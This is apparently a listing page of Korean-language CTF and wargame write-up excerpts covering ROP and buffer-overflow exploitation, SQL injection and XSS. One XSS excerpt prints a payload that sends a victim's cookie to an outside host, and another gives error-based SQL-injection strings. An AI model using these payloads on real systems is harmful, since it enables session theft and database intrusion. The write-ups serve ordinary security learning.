write-up 33

[j0n9hyun] Unexploitable 2

1번과 마찬가지로 취약점은 그냥 준다. system() 함수의 plt도 그냥 준다. 1번과 다른 점은... "sh\x00"의 고정 주소가 없다는 점이다.고정주소에 "/bin/sh\x00"를 올리고 이를 system() 함수의 매개변수로 주면 된다. 시나리오는 다음과 같다. 1. 오버플로우 시킬 때 rbp를 bss로 넣어주고, 취약한 함수를 다시 부른다.2. 이때 인풋을 bss에 받기 때문에 "/bin/sh\x00"를 올리고 바로 system() 함수를 부른다. rbp를 bss로 덮는 이유는, 두 번째 fgets() 함수 호출시 입력을 bss에 넣기 위함이다.fgets() 함수가 입력 받을 때 입력 버퍼 주소를 다음과 같이 rbp를 기준으로 잡는다. 첫 번째 오버플로우시 rbp를 bss+0x10으로 잡아주..

[j0n9hyun] Unexploitable 1

main() 함수에서 fgets() 함수로 입력을 받는데, 일단 취약점을 주고 시작한다. 보다시피 바이너리에는 고정 주소에 "sh\x00"이 박혀있다. 확인 한 번 더. 그 이유는 fflush() 함수 때문인데, 바이너리 안에는 사용하는 라이브러리 함수 이름들이 다음과 같이 박혀있다. fflush의 문자열 일부가 "sh\x00"으로 인식되는 것이다.이 영역은 .dynstr 영역이며, objdump로도 확인 가능하다.objdump -h Unexploitable_1로 각 섹션을 확인한 모습이다. 5번에 .dynstr 영역이 보인다. 이 영역의 문자열을 긁으면 따란. 그리고 또 system()함수의 plt도 주어졌다. 필요한건 다 찾은 것 같다. pop rdi가젯으로 "sh\x00"주소를 rdi에 넣어주고, ..

PlaidCTF 2013 ropasaurusrex

인터넷에 풀이가 많이 있는데, 대부분 GOT덮고 system 함수를 부르는 방법이다. 쉘코드를 올려서 푸는 방법으로 풀이 해보고자 한다. 바이너리에는 NX가 걸려있기 때문에 바로 쉘코드로 뛰면 segmentation fault가 뜰 것이다. 그래서 mprotect 함수로 실행 권한을 풀어주고, 그쪽으로 뛰어주면 되겠다. 시나리오는 다음과 같다. 1. GOT를 이용해 libc 릭 2. 취약한 함수를 다시 불러서 오버플로우를 한 번 더 발생시킨다. 3. mprotect 함수로 bss에 rwx권한을 모두 준다. (prot=7) 4. read 함수로 bss에 쉘코드를 받는다. 5. read 함수가 끝나고 쉘코드 주소로 뛴다. 앞서 언급한 GOT를 덮는 방법으로 풀어본 경험이 있다면, 페이로드를 짜는데 특별히 까..

write-up/pwnable 2019.07.11

Stage 23

길이제한이 있어서 상당히 빡셌다.원평이에게 힌트를 얻었는데 fragment url이란다. 구글링했는데 개 오지는 기법인것 같다. 글자길이 필터링은 어쩌피 서버측인데, # 뒤는 서버로 안 넘어가는 것을 이용한 익스다. 여러 삽질 끝에 얻은 페이로드는 ?q=#window.location='//dongmin2.tk?'%2bdocument.cookie location.hash가 뒤에 #부분을 파싱해서 가져온다.근데 #도 같이 가져와버려서 substr로 잘라버렸다. 최종 익스는http://51b123fbd6a21b3cf43f49e0a1014221e191c7db.knock.xss.moe/?q=#window.location='//dongmin2.tk?'+document.cookie

tuctf2018 lisa

미티게이션이 특이하다. PIE와 NX가 걸려있고, canary는 없다. main함수에서 8 번째 줄에서 bss영역인 pass에 malloc을 하고, 9 번째 줄에서 그 주소를 릭해준다. 이걸로 인해 PIE나 ASLR이 우회가 가능할 것으로 보인다. (처음에는 그런줄 알았다...) 위 함수는 취약한 함수인 fail 함수이다. 매개변수인 buf에 29바이트(0x1d)만큼 받는데, buf는 ebp에서 24바이트 (0x18) 만큼 떨어져있다. 그러니까 대충 아래와 같은 구조이다.buf (24) sfp ret이 상태에서 29바이트 만큼 read받으니까 sfp를 덮을 수 있고, 그 이후에 두 번의 leave-ret이 실행되므로 (checkPass leave-ret, main leave-ret) fake ebp라고 ..

write-up/CTF 2019.01.09

Codegate 2018 BaskinRobins31

첫 64비트 문제이다 ! 바이너리를 실행하면 베스킨라빈스 게임을 시작한다(....) 그래서 문제 이름이 베스킨라빈스 취약점은 your_turn 함수에서 터진다. read함수 Xref기능으로 찾으니 순식간에 찾았다. 400바이트만큼 s에 받는데, s는 rbp로부터 0xB0바이트 (176 바이트) 떨어져있다. 까나리가 없고, NX가 걸려있으므로, 바로 조지면 된다. 시나리오는 아래와 같다. 1. read 함수로 bss에 "/bin/sh\x00" 받는다. 2. write 함수로 read함수 got를 릭한다. 3. libc 베이스 주소를 구하고, system함수 주소를 구한다. 4. read 함수로 read함수 got에 system함수를 쓴다. 5. read 함수를 호출하면 system함수가 호출된다. 그런데...

write-up/pwnable 2018.08.18

55번

2년만에 웹 라업이다. 들어가면 머 대충 이런 페이지가 있다. 힌트란다. 컬럼을 준다. 근데 password 컬럼은 안 준다. 저 점수 링크를 누르면 해당 점수의 사람을 보여준다. ?score=2147483647 그리고 limit으로 조절하면 바로 인젝션이 터진다. procedure analyse()로 컬럼을 뽑아보았더니 바로 뽑힌다. ?score=-1%20limit 2,1 procedure analyse() 출력도 해주겠다, 그래서 error base로 바로 조지려고 했다. ?score=-1 limit procedure analyse(extractvalue(1,concat(0x3a,version())),1) 머 대충 이런식으로 했는데 version()이 안 뽑힌다. 그래서 version() 대신 (se..

Codegate 2014 Nuclear

꽤 오래 걸렸던 문제 이 문제도 소켓이다. 1129번 포트(?)로 소켓을 연다 취약점 찾는데 좀 노하우(?)가 생긴 것 같다. recv나 scanf함수 같은걸 Xref해서 찾으면 빨리 찾더라. 취약점은 정말 금방 찾았다. start_routine 함수에서 buf는 ebp-0x20c에 있는데, 1298만큼 받으니까 바로 터진다. dummy 0x20c + 4 + eip이다. 그런데 fd까지 덮히므로, "Sorry.. we can't..." 문자열을 출력하기 위해 익스할 때는 fd를 4로 맞춰서 했다. 저 취약점을 트리거 하기 위해서는 메뉴에서 launch를 입력하면 되고, strcmp로 passcode와 cmd를 또 비교한다. 그렇다. 까나리가 없는 대신 passcode를 릭해야 하는 것이다. 어떻게 릭할지..

write-up/pwnable 2018.08.14

Codegate 2014 Angrydoraemon

까나리랑 NX가 걸려있다. 아래는 메뉴이다. 취약점은 4번 메뉴에서 터진다 y를 입력하면 sprintf와 write로 buf를 출력해주지만... 여기서 까나리 릭이 가능하다. buf는 0xa (10)바이트 이므로, buf에 "y" + "A"*9를 sendline으로 보내주면 까나리 마지막 바이트가 0x0a로 덮히고, 릭이 되고, smashing the stack이 발생한다. 그리고 다시 접속해서 "y" + "A"*9 + canary + "B"*0xc + EIP를 주면 EIP가 덮힌다. 이 문제도 소켓이므로.... 리버스 쉘을 따야한다. buf_global이 bss이고 크기가 넉넉하므로 여기를 이용하기로 한다. 1. read로 "sh >&4 0&4 0

write-up/pwnable 2018.08.09

Codegate 2017 babypwn

까나리랑 NX가 걸려있다. v2에서 스캔(recv)를 받으면서 취약점이 터진다.그런데 v3에 까나리가 있다.바로 다음줄에 puts가 있으므로 까나리 릭이 가능하다. "A"*28 넣고 sendline으로 보내면 0x0a까지 들어가므로, 까나리 한 바이트를 덮는다. 그러면 릭이 가능하다(널을 만날 때 까지 출력하므로)0x0a까지 넣어서 까나리 한 바이트를 덮는 것은... 까나리가 00으로 끝나기 때문에, 딱 v2의 크기인 28바이트만 넣으면 까나리 출력이 안 된다. 그런데 바이너리에 서비스(?)로 system함수의 plt가 있다. 까나리 맞추고 더미 준 다음에 bss에 "/bin/sh\x00" 올리고 system 불러주면 뚝-딱인데, 이 바이너리는 socket을 여는 바이너리이다...이렇게하면 서버에서 쉘이..

write-up/pwnable 2018.08.09